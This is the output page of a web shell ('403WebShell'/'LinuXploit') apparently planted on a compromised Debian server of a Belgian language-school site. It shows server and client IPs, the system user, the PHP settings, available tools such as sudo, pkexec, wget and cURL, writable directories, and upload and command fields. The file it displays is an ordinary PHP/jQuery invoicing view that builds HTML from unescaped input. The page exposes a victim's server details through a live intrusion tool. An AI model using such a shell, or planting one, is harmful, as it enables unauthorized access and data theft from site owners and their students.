Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.96.2  /  Your IP : 104.23.197.230
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/sms.formationlangues.be/application/views/backend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/sms.formationlangues.be/application/views/backend/accounting_student.php
<?php
/*********************
 *********************
Template : "accounting.php"
Controller : "accounting.php"

 Creation 29/08/2019
 Aernout Guillaume
 http://codes.solutions
 *********************
 *********************/
// DB : add Payment_Amount, Transaction_ID, Creation date field on invoices (25/02)
?>
<hr />
<div class="row">
    <div class="col-md-12">

        <!------CONTROL TABS START------>
        <ul class="nav nav-tabs bordered">
            <li id="tabSmartInvoice" class="active" onclick="refresh_data()"><!--window.location.reload(true)-->
                <a href="#smartInvoice" data-toggle="tab"><i class="entypo-cc-share"></i>
                    <?php echo get_phrase('Smart_invoice');?>
                </a>
            </li>
            <li id="tabInvoiceList" class="active" onclick="refresh_data()"><!--window.location.reload(true)-->
                <a href="#invoiceList" data-toggle="tab"><i class="entypo-cc-share"></i>
                    <?php echo get_phrase('Invoice_list');?>
                </a>
            </li>
            <li id="tabCreditNoteList" class="active" onclick="refresh_data()"><!--window.location.reload(true)-->
                <a href="#creditNoteList" data-toggle="tab"><i class="entypo-cc-share"></i>
                    <?php echo get_phrase('Credit_note');?>
                </a>
            </li>
        </ul>
        <!------CONTROL TABS END------>
        <div class="tab-content">
            <br>
            <!----TABLE WALLET STARTS-->
            <?php include 'accounting_student/smart_invoice.php'; ?>
            <!----TABLE WALLET ENDS--->

        </div>
    </div>
</div>
<!-- assets-->
<script type="text/javascript" src="/assets/js/csajax/backend/accounting_student.js"></script>
<style>
    .lbox {
        border-right: 1px solid black;
    }

    .rbox {
        border-left: 1px solid black;
    }
</style>
<link rel="stylesheet" href="/assets/css/csstyle/backend/accounting.css">
<!-- Initialize the script -->
<script>
    jQuery(document).ready(function($) {
        $("#student").select2();
        $("#student_link").select2();
        $('#student').change(function() {
            var id = $('#student :selected').val();
            $('#btn-new').click();
            get_profile(id);

            var json = $('#invoice-form').find('#linked_users_input').val();
            json = JSON.parse(json);


            json[id] = $('#student :selected').text();
            $('#invoice-form').find('#linked_users_input').val(JSON.stringify(json));
            $('#invoice-form').find('#linked_users').append('<span class="btn btn-info" id="user_' + id + '"  onclick="remove(this),unlink()">' + $('#student :selected').text() + '</span>');
        });

        $('#invoice_list').change(function() {
            const id = $('#invoice_list :selected').val();
            if (id !== undefined && id !== null) {
                get_invoice(id, true);
            }
        });

        $('#invoice-edit-form').hide();
        $('#invoice-edit-sub-form').hide();

        $('#btn-new').click(function() {
            $('#btn-new').removeClass();
            $('#btn-edit').removeClass();
            $('#btn-new').addClass('btn btn-info');
            $('#btn-edit').addClass('btn btn-default');

            $('#invoice-form').show();
            $('#invoice-edit-form').hide();
        });

        $('#btn-edit').click(function() {
            $('#btn-new').removeClass();
            $('#btn-edit').removeClass();
            $('#btn-edit').addClass('btn btn-info');
            $('#btn-new').addClass('btn btn-default');

            $('#invoice-form').hide();
            $('#invoice-edit-form').show();

            var id = $('#student :selected').val();
            refresh_invoice_list(id);
        });

        $('#date_invoice').datepicker().datepicker("setDate", new Date());

        $('#amount-btn').click(function() {
            // prevent improper mouseout
            $('#invoice-form').find('#amount-btn').val('');
            $('#invoice-edit-form').find('#amount-btn-edit').val('');
        });

        $('#amount-btn').mouseout(function() {
            if ($('#btn-new').hasClass('btn-info')) {
                var target = $('#invoice-form').find('#amount-btn').val();
                if (target != '' && target != NaN && (parseInt(target) != 0)) {
                    var html = "<span class='amount_field btn btn-info' onclick='remove(this),update_balance(-" + target + ")'>" + target + "</span>";
                    $('#invoice-form').find('#amount_invoice_div').append(html);
                    update_balance(target);
                }
            } else {}
            $('#invoice-form').find('#amount-btn').val('');
            $('#invoice-edit-form').find('#amount-btn-edit').val('');
        });

        $('#amount-btn-edit').mouseout(function() {
            if (!$('#btn-new').hasClass('btn-info')) {
                var target = $('#invoice-edit-form').find('#amount-btn-edit').val();
                if (target != '' && target != NaN && (parseInt(target) != 0)) {
                    var html = "<span class='amount_field btn btn-info' onclick='remove(this),update_balance(-" + target + ")'>" + target + "</span>";
                    $('#invoice-edit-form').find('#amount_invoice_div').append(html);
                    update_balance(target);
                }
            } else {

            }


            $('#invoice-form').find('#amount-btn').val('');
            $('#invoice-edit-form').find('#amount-btn-edit').val('');
        });

        $('#product-btn').click(function() {
            // prevent improper mouseout
            $('#invoice-form').find('#product-btn').val('');
            $('#invoice-edit-form').find('#product-btn').val('');
        });
        $('#product-btn').mouseout(function() {
            if ($('#btn-new').hasClass('btn-info')) {
                var target = $('#invoice-form').find('#product-btn').val();

                if (target != '') {
                    var id = Math.floor(1000 + Math.random() * 9000);
                    var products = JSON.parse($('#invoice-form').find('#invoice_product').val());
                    while (products.hasOwnProperty(id)) {
                        var id = Math.floor(1000 + Math.random() * 9000);
                    }
                    products[id] = target;
                    $('#invoice-form').find('#invoice_product').val(JSON.stringify(products));
                    var html = "<span class='product_field btn btn-info' id='product_" + id + "' onclick='pull_product(" + id + ")'>" + target + "</span>";
                    $('#invoice-form').find('#product_div').append(html);
                }

                $('#invoice-form').find('#product-btn').val('');
            } else {
                //$('#invoice-edit-form').find('#product-btn').val();
            }
            $('#invoice-form').find('#amount-btn').val('');
            $('#invoice-edit-form').find('#amount-btn-edit').val('');
        });

        $('#product-btn-edit').mouseout(function() {

            if (!$('#btn-new').hasClass('btn-info')) {
                var target = $('#invoice-edit-form').find('#product-btn-edit').val();

                if (target != '') {
                    console.log('debug=' + target);
                    var id = Math.floor(1000 + Math.random() * 9000);
                    var products = JSON.parse($('#invoice-edit-form').find('#invoice_product').val());
                    while (products.hasOwnProperty(id)) {
                        var id = Math.floor(1000 + Math.random() * 9000);
                    }
                    products[id] = target;
                    $('#invoice-edit-form').find('#invoice_product').val(JSON.stringify(products));
                    var html = "<span class='product_field btn btn-info' id='product_" + id + "' onclick='pull_product(" + id + ")'>" + target + "</span>";
                    $('#invoice-edit-form').find('#product_div').append(html);
                }

                $('#invoice-edit-form').find('#product-edit-btn').val('');
            } else {}
            //update_balance(target);

            $('#invoice-form').find('#amount-btn').val('');
            $('#invoice-edit-form').find('#amount-btn-edit').val('');
        });        
    });
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit